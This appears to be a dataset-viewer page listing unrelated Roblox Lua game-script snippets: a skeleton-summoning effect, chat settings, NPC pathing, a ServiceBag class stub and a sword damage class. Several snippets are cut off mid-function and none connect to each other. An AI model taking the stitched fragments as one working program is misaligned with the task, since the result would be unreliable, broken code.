local fireClone = Fire:Clone()
fireClone.Parent = firePart
Delay(0.5, function()
if fireClone then
fireClone.Enabled = false
end
end)
DebrisService:AddItem(firePart, 3)
firePart.Parent = Workspace
-- Spawn
local skeletonClone = Skeleton:Clone()
DebrisService:AddItem(skeletonClone, SKELETON_DURATION)
skeletonClone.Parent = Workspace
skeletonClone:MoveTo(spawnPosition) --NOTE: Model must be in Workspace
-- Rise!
local torso = skeletonClone:FindFirstChild('Torso')
if torso then
torso.CFrame = torso.CFrame - Vector3.new(0, 4.5, 0)
for i = 0, 4.5, 0.45 do
torso.CFrame = torso.CFrame + Vector3.new(0, i, 0)
wait(1/30)
end
end
end
end
local function RaiseSkeletons()
if not Skeleton then -- Try again
MakeSkeleton()
end
for theta = -135, -45, 45 do
SpawnSkeleton(MyModel.Torso.CFrame:pointToWorldSpace(Vector3.new(math.cos(theta), 0, math.sin(theta)) * SPAWN_RADIUS))
end
end
|
-- Libraries
|
local Support = require(Libraries:WaitForChild 'SupportLibrary')
local Maid = require(Libraries:WaitForChild 'Maid')
local ListenForManualWindowTrigger = require(Tool.Core:WaitForChild('ListenForManualWindowTrigger'))
|
---[[ Chat Behaviour Settings ]]
|
module.WindowDraggable = false
module.WindowResizable = false
module.ShowChannelsBar = false
module.GamepadNavigationEnabled = false
module.AllowMeCommand = true
|
--ScanForPoint()
|
hum.MoveToFinished:connect(function()
anims.AntWalk:Stop()
if enRoute then
enRoute = false
end
end)
local movementCoroutine = coroutine.wrap(function()
while true do
if target then
local sessionLock = lastLock
if targetType == "Player" then
while target and lastLock == sessionLock do
if target.Character and target.Character:IsDescendantOf(workspace) and target.Character.Humanoid and target.Character.Humanoid.Health > 0 then
local dist = (root.Position-target.Character.PrimaryPart.Position).magnitude
if dist < 7 then
|
--[=[
@type ServiceType Service | ModuleScript
@within ServiceBag
]=]
|
local ServiceBag = setmetatable({}, BaseObject)
ServiceBag.ClassName = "ServiceBag"
ServiceBag.__index = ServiceBag
|
--[[Sword Part Class]]
|
--
local SwordPart =
{
Damage = 20,
AttackTime = 1,
CoolDown = 2,
LastSwing = 0,
LastHit = 0,
Part= nil,
Owner = nil,--player object that owns this sword
OnHit = nil,
OnHitHumanoid = nil,
OnAttackReady = nil,
OnAttack = nil,
SwingSound = nil,
HitSound = nil,
SwingAnimation = nil, --animation track!
ActiveConnections = {},
}
do
UTIL.MakeClass(SwordPart)
function SwordPart.New(npart,nowner)
local init= UTIL.DeepCopy(SwordPart)
init.Part= npart
init.Owner = nowner
table.insert(init.ActiveConnections,init.Part.Touched:connect(function(hit) init:SwordTouch(hit) end))
init.OnHit = InternalEvent.New()
init.OnHitHumanoid = InternalEvent.New()
init.OnAttackReady = InternalEvent.New()
init.OnAttack = InternalEvent.New()
return init
end
function SwordPart:SwordTouch(hit)
if tick()-self.LastSwing >self.AttackTime or tick()-self.LastHit<self.AttackTime then return end
self.OnHit:Fire(hit)
local character,humanoid = UTIL.FindCharacterAncestor(hit)
if character and character ~= self.Owner.Character then
humanoid:TakeDamage(self.Damage)
self.OnHitHumanoid:Fire(humanoid,hit)
self.LastHit = tick()
if self.HitSound then
self.HitSound:Play()
end
end
end
function SwordPart:DoSwing()
if tick()-self.LastSwing<self.AttackTime+self.CoolDown then
return
end
if self.SwingAnimation then
self.SwingAnimation:Play()
end
if self.SwingSound then
self.SwingSound:Play()
end
self.LastSwing = tick()
self.OnAttack:Fire()
end
function SwordPart:Destroy()
for _,i in pairs(self.ActiveConnections) do
i:disconnect()
end
end
end
do
local Handle = script.Parent
local Tool = Handle.Parent
local Player = game.Players.LocalPlayer
local Character = UTIL.WaitForValidCharacter(Player)
local SwingAni = UTIL.Instantiate"Animation"
{AnimationId = "http://www.roblox.com/Asset?ID=89289879"}
local HitSound = Handle:WaitForChild('Hit')
local SwingSound = Handle:WaitForChild('Swing')
local SwingAniTrack
local Sword
Tool.Equipped:connect(function(mouse)
Sword = SwordPart.New(Handle,Player)
Sword.Damage = 40
Sword.HitSound = HitSound
Sword.SwingSound = SwingSound
Character = UTIL.WaitForValidCharacter(Player)
local Humanoid = Character:FindFirstChild('Humanoid')
SwingAniTrack = Humanoid:LoadAnimation(SwingAni)
Sword.SwingAnimation = SwingAniTrack
Sword.OnHitHumanoid:Connect(function(humanoid,hit)
local myTorso = Character:FindFirstChild('Torso')
local torso = humanoid.Parent:FindFirstChild('Torso')
if not torso or not myTorso then return end
if hit.Name=='Right Arm' or hit.Name=='Left Arm' or hit.Name=='Right Leg' or hit.Name=='Left Leg' then
hit:BreakJoints()
WeldUtil.WeldBetween(hit, Handle)
Delay(1,function() hit:BreakJoints() end )
end
end)
mouse.Button1Down:connect(function()
Sword:DoSwing()
end)
end)
Tool.Unequipped:connect(function()
Sword:Destroy()
end)
end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.